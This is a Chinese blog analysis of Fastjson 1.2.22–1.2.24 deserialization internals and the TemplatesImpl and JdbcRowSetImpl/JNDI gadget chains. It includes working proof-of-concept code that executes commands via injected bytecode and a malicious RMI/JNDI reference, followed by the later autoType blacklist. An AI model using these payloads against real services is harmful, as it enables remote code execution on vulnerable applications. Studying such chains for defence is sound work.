FastJason 1.2.22-1.2.24 反序列化利用链分析
前言
休息了好像有一周了(慢慢的罪恶感),昨天在打比赛的时候做了一个php-cms的审计,然后激起了学习的热情。
之前打比赛的时候遇到过fastjson的题,当时也就是直接用poc利用了,也学习过fastjson的触发原理,这里简单的复习一下,文章如下:
https://www.cnblogs.com/seizer/p/17035786.html
Fastjson反序列化原理
基本原理:jdk反序列化会触发readObject方法,在Fastjson反序列化中则会触发setter方法(序列化过程中会触发getter方法)。
通过举例能更好理解User.java:
package com.ggbond.fastjson;
public class User {
public String t1;
public String _t2;
private String _t3;
private String t4;
private String t5;
private void setT1(String t1) {
System.out.println(Thread.currentThread().getStackTrace()[1].getMethodName());
this.t1 = t1;
}
public void setT2(String _t2) {
System.out.println(Thread.currentThread().getStackTrace()[1].getMethodName());
this._t2 = _t2;
}
public void setT3(String _t3) {
System.out.println(Thread.currentThread().getStackTrace()[1].getMethodName());
this._t3 = _t3;
}
private void setT4(String t4) {
System.out.println(Thread.currentThread().getStackTrace()[1].getMethodName());
this.t4 = t4;
}
public void setT5(String t5) {
System.out.println(Thread.currentThread().getStackTrace()[1].getMethodName());
this.t5 = t5;
}
}
其中对部分setter方法进行了修改,如将sett1、setT4方法修改为私有private 方法,修改set_t2、set_t3为setT2、setT3,这样有助于帮助我们更好的理解TemplatesImpl利用链
然后将字段{"@type":"com.ggbond.fastjson.User","t1":"1","_t2":"2","t3":{},"t4":{}}进行反序列化,代码如下:
package com.ggbond.fastjson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
public class FastDeser {
public static void main(String[] args) {
// {"@type":"com.ggbond.fastjson.User","t1":"1","_t2":"2","_t3":"3","t4":"4","t5":"5"}
String Poc = "{\"@type\":\"com.ggbond.fastjson.User\",\"t1\":\"1\",\"_t2\":\"2\",\"_t3\":\"3\",\"t4\":\"4\",\"t5\":\"5\"}";
Object parse1 = JSON.parse(Poc);
Object parse2 = JSON.parse(Poc, Feature.SupportNonPublicField);
System.out.println("");
}
}
Feature.SupportNonPublicField作用
通过执行上述代码,对比parse1和parse2可以知道Feature.SupportNonPublicField字段的意义

两者区别在于t4是否被赋值:
- 对照组t1和t4,两者setter方法均为private私有方法,t1为public变量,t4为private变量,说明
Feature.SupportNonPublicField字段(汉译:支持未公开属性)与变量访问修饰符有关 - 对照组t4和t5,两者均为private变量,setter方法存在差异,说明
Feature.SupportNonPublicField字段(汉译:支持未公开属性)与方法访问修饰符有关
结果:当一个属性为private私有变量时,如果不存在public的setter方法为其进行赋值时,是不能通过Fastjson进行赋值的,当传入Feature.SupportNonPublicField字段后,则会对其赋值。
然后再看一下输出方面:

两者都是执行了setT3、setT5方法,不存在差异,总结一下其他setter方法未被执行的原因
setT1、setT4为私有private方法setT2未知
这里按照之前的理解setT2、setT3方法应该都会被执行的,这里需要说一下,在使用IDEA生成setter方法时,发现应该是这样的
public void set_t3(String _t3) {
this._t3 = _t3;
}
但是我们这里使用setT3的形式,这样却还会执行,在Fastjson进行反序列化解析的时候,在JavaBeanDeserializer#parseField中调用smartMatch()方法进行模糊匹配,并将_替换为空

之后通过t3去找对应的setter、getter方法
但是这里却只执行了setT3方法,进行对照两者区别:_t2和_t3前者为public属性,后者为private属性。
探究setter方法执行原理
这里困惑了好久,然后写了个测试类进行Debug终于找到原因了
package com.ggbond.Test;
public class User {
public String t1;
private String t2;
public void setT1(String t1) {
System.out.println(Thread.currentThread().getStackTrace()[1].getMethodName());
this.t1 = t1;
}
public void setT2(String t2) {
System.out.println(Thread.currentThread().getStackTrace()[1].getMethodName());
this.t2 = t2;
}
}
反序列化上述类,一切正常,两个setter方法全部都执行了

然后再将测试类修改为如下:
package com.ggbond.Test;
public class User {
public String _t1;
private String _t2;
public void setT1(String _t1) {
System.out.println(Thread.currentThread().getStackTrace()[1].getMethodName());
this._t1 = _t1;
}
public void setT2(String _t2) {
System.out.println(Thread.currentThread().getStackTrace()[1].getMethodName());
this._t2 = _t2;
}
}
如果按照之前那个结果,应该只执行setT2而不会执行setT1,结果确实如此:

然后我们通过Debug进行看一下,关键代码为反序列化器生成阶段JavaBeanInfo#build
这里328行首先对methods进行遍历(这里通过getMethods()获取,故不包含private私有方法)

然后再375-384行这里对setter方法进行一个检测,之后propertyName获取为set后的字符串(这里即t2),这里386行也可以看到如果第4位为_,则是获取_之后的部分

之后再396这里从declaredFields中获取与propertyName相同的成员变量,他们直接都相差一个_,所以遍历结束field还为空

之后再429行,将该FieldInfo添加到fieldList,结果如下:

之后再433行遍历成员变量,使用getFields方法,所以就不包括_t2

遍历结束后fieldList如下,_t1存在field,但没有method:

再之后490行又遍历了一遍方法,但是这次遍历时为了找对应的getter方法的,这里暂且不看

到这里所有的反序列化器就算生成结束了,接下来进行解析,从JavaBeanDeserializer#deserialze进入,核心代码349行,这里sortedFieldDeserializers变量其中就是刚才的反序列化器

这里就是进行了类型的判断,并在Poc中找对应的值fieldValue
这里本以为
_t1是可以在Poc中找到对应的值fieldValue的,但是这里还是返回了null,debug过程中,在一进入JavaBeanDeserializer#deserialze时_t1已经被赋予了值,个人浅显理解应该是对于public属性直接从Poc中提取值然后赋值,因为反序列化就是要还原对象,既然已经赋值了所以不需要再进行不必要的代码执行,所以就导致该变量没有进行变相setter方法的执行,而_t2还需要进行一系列检测
如下386行处

这里没有找到,所以matchField还是false,接着来到577行,这里进入下边的else语块


进到600行的parseField方法,进到724行的smartMatch方法

783行处,根据key值获取反序列化器,这里没有所以返回null,然后再下边遍历所有反序列化找fieldInfo.name为key值的反序列化器,也无果

然后再807行,因为之前都没有找到,所以这里进入if语句,将key值的_替换掉变成t2,然后在下边823行处同构t2找到对应的反序列化器并返回

然后回到parseField方法773行,进入DefaultFieldDeserializer#parseField

83行处进入setValue,然后里边的96行反射执行setter方法


探究getter方法执行原理
再来看一个例子(加深Fastjson反序列化过程的理解),测试类如下:
package com.ggbond.Test;
import java.util.Map;
public class User {
public Map t1;
private Map t2;
public Map getT1() {
System.out.println(Thread.currentThread().getStackTrace()[1].getMethodName());
return t1;
}
public Map getT2() {
System.out.println(Thread.currentThread().getStackTrace()[1].getMethodName());
return t2;
}
}
我们之前学习的时候是这样的:当不存在setter方法时,会调用满足条件的getter方法,需要满足的主要条件如下:
- 非静态方法
- 返回值类型继承自Collection || Map || AtomicBoolean || AtomicInteger || AtomicLong
- 方法为 public 属性
但是这里我们发现只执行了getT2方法,通过Debug找了好久,在JavaBeanInfo#build方法433行这里我们发现,通过反射getFields()获取成员属性,这里自然是获取不到t2

这里进行一系列处理后将信息装入fieldList

之后通过反射clazz.getMethods()对方法进行了遍历

通过getField从fieldList获取t1的fieldInfo,如果存在则不再添加到fieldList中,这样就导致fieldList中并没有写入t1的getter方法

来看一下t2,由于fieldList并没有关于t2的fieldInfo,所以将目前方法method添加到fieldList

在后续的解析过程中,在FieldDeserializer#setValue中66行,对于t1来说,因为没有method这里进入99行的else句块

else句块这里获取fieldInfo.field属性,然后在130行通过反射set直接赋值,不进行调用方法


而t2这里可以直接获取到fieldInfo.method属性,进入if句块

这里通过判断该方法返回值为Map类,然后通过反射invoke执行getter方法

TemplatesImpl利用链
通过简单的对Fastjson反序列化学习和上述的较深入理解,现在我们来分析一下TemplatesImpl利用链,Poc如下:
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["Eval.base64"],
"_name": "seizer",
"_tfactory": {},
"_outputProperties": {}
}
之前学习过TemplatesImpl利用链,Poc如下:
package com.serializable.cc2;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
public class LoadTestTemp {
public static void main(String[] args) throws Exception {
ClassPool classPool = ClassPool.getDefault(); // 获取CtClass容器
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); // 引入AbstractTranslet路径到classpath中
CtClass testCtClass = classPool.makeClass("TestCtClass"); // 创建CtClass对象
testCtClass.setSuperclass(classPool.get(AbstractTranslet.class.getName())); // 设置父类为AbstractTranslet
CtConstructor ctConstructor = testCtClass.makeClassInitializer(); // 创建空初始化构造器
ctConstructor.insertBefore("Runtime.getRuntime().exec(\"calc\");"); // 插入初始化语句
byte[] bytes = testCtClass.toBytecode(); // 获取字节数据
TemplatesImpl templates = new TemplatesImpl();
Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Reflections.setFieldValue(templates, "_name", "seizer");
// templates.newTransformer();
templates.getOutputProperties();
}
}
通过对TemplatesImpl 对象的_bytecodes,_tfactory,_name进行赋值来进行加载恶意字节码文件,然后通过执行TemplatesImpl#getOutputProperties进行触发
这里的TemplatesImpl#getOutputProperties其实也是一个getter方法,可以通过Fastjson反序列化进行触发,然后通过Feature.SupportNonPublicField字段进行对private属性进行赋值
通过上述学习,我们很容易可以写出Poc:
package com.ggbond.fastjson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import java.util.Base64;
public class FastTempDeser {
public static String generateEvil() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clas = pool.makeClass("Evil");
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
String cmd = "Runtime.getRuntime().exec(\"calc\");";
clas.makeClassInitializer().insertBefore(cmd);
clas.setSuperclass(pool.getCtClass(AbstractTranslet.class.getName()));
byte[] bytes = clas.toBytecode();
String EvilCode = Base64.getEncoder().encodeToString(bytes);
System.out.println(EvilCode);
return EvilCode;
}
public static void main(String[] args) throws Exception {
final String GADGAT_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String evil = FastTempDeser.generateEvil();
String PoC = "{\"@type\":\"" + GADGAT_CLASS + "\",\"_bytecodes\":[\"" + evil + "\"],'_name':'a.b','_tfactory':{},\"_outputProperties\":{ }}";
JSON.parse(PoC, Feature.SupportNonPublicField);
}
}
执行结果:

这里对_bytecodes我们使用了中括号和base64编码:
在解析时DefaultFieldDeserializer#parseField

进入后136行这里会进行base64解码:


JdbcRowSetImpl利用链
这条利用链通过配合JNDI注入加载恶意类
https://www.cnblogs.com/seizer/p/17092526.html
通过Poc看一下:
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://127.0.0.1:2333/Calc",
"autoCommit": true
}
用到JdbcRowSetImpl这个类,Poc中有两个参数,找一下入口点为JdbcRowSetImpl#setAutoCommit

这里进到JdbcRowSetImpl#connect,条件是conn属性为空,不赋值就好了

可以看到325行处使用InitialContext#lookup进行了远程方法调用,通过this.getDataSourceName()返回值进行获取远程类

这里dataSource是通过private修饰的,如果不存在public的setter方法的话(这里存在),需要Feature.SupportNonPublicField才可以触发反序列化


所以最终Poc:
package com.ggbond.fastjson;
import com.alibaba.fastjson.JSON;
public class FJPoc {
public static void main(String[] args) {
String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:2333/Calc\", \"autoCommit\":true}";
JSON.parse(PoC);
}
}
还需要起一个RMI服务
package com.ggbond.Jndi;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(2333);
Reference reference = new Reference("Calc", "Evil", "http://127.0.0.1/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Calc", referenceWrapper);
}
}
执行结果:

总结
经过浅显学习Fastjson的反序列化原理,可以明白反序列化过程中最重要的两个步骤就是DefaultJSONParser#parseObject中367-368行的内容,前者获取反序列化器,后者进行实例化对象并解析

同样在该方法中,还有一个重要的点在于322行处,通过@type键值可以进行获取到类对象

所以在Fastjson1.2.24之后的版本中,对此处进行了修改
https://github.com/alibaba/fastjson/commit/d52085ef54b32dfd963186e583cbcdfff5d101b5

看一下Fastjson1.2.26

checkAutoType方法加入了白名单和黑名单的方式防止漏洞利用

其中黑名单中扩充了很多类

bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

浙公网安备 33010602011771号